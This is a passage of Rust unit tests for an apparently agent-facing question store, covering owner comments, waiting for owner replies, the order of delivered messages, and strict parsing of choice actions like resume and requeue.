3571        let (_dir, s) = store();
3572        let mut q = choice_question();
3573        s.put(&mut q).unwrap();
3574        q.say("why not Postgres?").unwrap();
3575        s.put(&mut q).unwrap();
3576        q.reply("no server to run", vec!["SQLite".to_owned()])
3577            .unwrap();
3578        s.put(&mut q).unwrap();
3579
3580        assert_eq!(
3581            s.count_open(),
3582            1,
3583            "one question that talked twice is still one open question"
3584        );
3585        assert_eq!(s.open_for(&q.run).len(), 1);
3586    }
3587
3588    #[tokio::test]
3589    async fn the_wait_returns_to_the_caller_when_the_owner_talks_back_without_deciding() {
3590        let (dir, s) = store();
3591        let mut q = choice_question();
3592        let id = q.id.clone();
3593        let writer = Questions::at(dir.path().join("questions"));
3594        let handle = tokio::spawn(async move {
3595            tokio::time::sleep(Duration::from_millis(30)).await;
3596            let mut fresh = writer.get(&id).expect("the question was filed first");
3597            fresh.say("why not Postgres?").unwrap();
3598            writer.put(&mut fresh).unwrap();
3599        });
3600
3601        let got = wait_for_owner(
3602            &mut q,
3603            &s,
3604            &quiet(),
3605            Duration::from_secs(5),
3606            Duration::from_millis(10),
3607        )
3608        .await
3609        .unwrap();
3610
3611        handle.await.unwrap();
3612        assert_eq!(got, Wait::Replied("why not Postgres?".to_owned()));
3613        assert_eq!(
3614            q.status,
3615            QuestionStatus::Open,
3616            "talking back is not a decision; the question stays open"
3617        );
3618        assert!(q.answer.is_none());
3619    }
3620
3621    #[test]
3622    fn a_say_that_lands_before_the_agents_reply_stays_unread() {
3623        let mut q = choice_question();
3624        q.say("A").unwrap();
3625        q.delivered_turns = q.thread.len();
3626        q.say("B").unwrap();
3627        q.reply("about A", vec![]).unwrap();
3628        assert_eq!(q.unread_from_owner().as_deref(), Some("B"));
3629        q.delivered_turns = q.thread.len();
3630        assert_eq!(q.unread_from_owner(), None);
3631    }
3632
3633    #[test]
3634    fn a_say_before_the_answer_is_handed_over_ahead_of_it() {
3635        let (_d, s) = store();
3636        let mut q = choice_question();
3637        s.put(&mut q).unwrap();
3638        q.say("first").unwrap();
3639        q.say("second").unwrap();
3640        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3641        s.put(&mut q).unwrap();
3642        assert_eq!(q.unread_from_owner(), None, "closed: the guard stays");
3643        let mut out = Vec::new();
3644        deliver_answer(&s, &mut q, "SQLite", &mut out).unwrap();
3645        let shown = String::from_utf8(out).unwrap();
3646        let (a, b, c) = (
3647            shown.find("first").unwrap(),
3648            shown.find("second").unwrap(),
3649            shown.find("SQLite").unwrap(),
3650        );
3651        assert!(a < b && b < c, "{shown}");
3652        assert_eq!(q.delivered_turns, q.thread.len());
3653        assert!(q.answer_delivered);
3654    }
3655
3656    #[test]
3657    fn an_answer_alone_is_unchanged_and_delivered_says_are_not_repeated() {
3658        let mut q = choice_question();
3659        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3660        assert_eq!(answer_for_agent(&q, "SQLite"), "SQLite");
3661        let mut q = choice_question();
3662        q.say("old").unwrap();
3663        q.delivered_turns = q.thread.len();
3664        q.say("new").unwrap();
3665        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3666        let shown = answer_for_agent(&q, "SQLite");
3667        assert!(shown.contains("new") && !shown.contains("old"), "{shown}");
3668    }
3669
3670    #[test]
3671    fn action_specs_parse_strictly_and_must_name_an_offered_choice() {
3672        let choices = vec!["resume で続行する".to_owned(), "wait".to_owned()];
3673        let ok = parse_actions(
3674            &[
3675                "resume で続行する=resume".to_owned(),
3676                "wait=done".to_owned(),
3677            ],
3678            &choices,
3679            "run-1",
3680        )
3681        .unwrap();
3682        assert_eq!(
3683            ok["resume で続行する"],
3684            ChoiceAction::Resume {
3685                run: "run-1".into()
3686            }
3687        );
3688        assert_eq!(ok["wait"], ChoiceAction::Done);
3689
3690        let named = ChoiceAction::parse("x=resume:abcd", "").unwrap();
3691        assert_eq!(named.1, ChoiceAction::Resume { run: "abcd".into() });
3692        assert_eq!(
3693            ChoiceAction::parse("x=requeue", "").unwrap().1,
3694            ChoiceAction::Requeue
3695        );
3696
3697        for bad in [
3698            "no-equals",
3699            "=done",
3700            "x=resume",
3701            "x=resume:",
3702            "x=explode",
3703            "x=done:1",
3704        ] {
3705            assert!(ChoiceAction::parse(bad, "").is_err(), "{bad}");
3706        }
3707        assert!(parse_actions(&["ghost=done".to_owned()], &choices, "").is_err());
3708        assert!(
3709            parse_actions(
3710                &["wait=done".to_owned(), "wait=requeue".to_owned()],
3711                &choices,
3712                ""
3713            )
3714            .is_err()
3715        );
3716    }
3717
3718    #[test]
3719    fn only_a_chosen_label_with_an_action_is_actionable() {
3720        let mut q = choice_question();
3721        q.choices = vec!["resume".to_owned(), "SQLite".to_owned()];
3722        q.actions.insert("SQLite".to_owned(), ChoiceAction::Requeue);
3723        assert!(q.chosen_action().is_none(), "unanswered");
3724        q.answer(Answer::Choice("resume".to_owned())).unwrap();
3725        assert!(
3726            q.chosen_action().is_none(),
3727            "a label that merely reads like an action does nothing"
3728        );
3729
3730        let mut q2 = choice_question();
3731        q2.choices = vec!["SQLite".to_owned()];
3732        q2.actions
3733            .insert("SQLite".to_owned(), ChoiceAction::Requeue);
3734        q2.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3735        assert_eq!(q2.chosen_action(), Some(&ChoiceAction::Requeue));
3736    }
3737
3738    #[test]
3739    fn a_reply_drops_actions_whose_choice_is_gone_and_old_files_read_without_actions() {
3740        let mut q = choice_question();
3741        q.choices = vec!["A".to_owned(), "B".to_owned()];
3742        q.actions.insert("A".to_owned(), ChoiceAction::Done);
3743        q.actions.insert("B".to_owned(), ChoiceAction::Requeue);
3744        q.reply("narrowing", vec!["B".to_owned()]).unwrap();
3745        assert_eq!(q.actions.len(), 1);
3746        assert!(q.actions.contains_key("B"));
3747
3748        let mut v = serde_json::to_value(&q).unwrap();
3749        v.as_object_mut().unwrap().remove("actions");
3750        let old: Question = serde_json::from_value(v).unwrap();
3751        assert!(old.actions.is_empty());
3752    }
3753}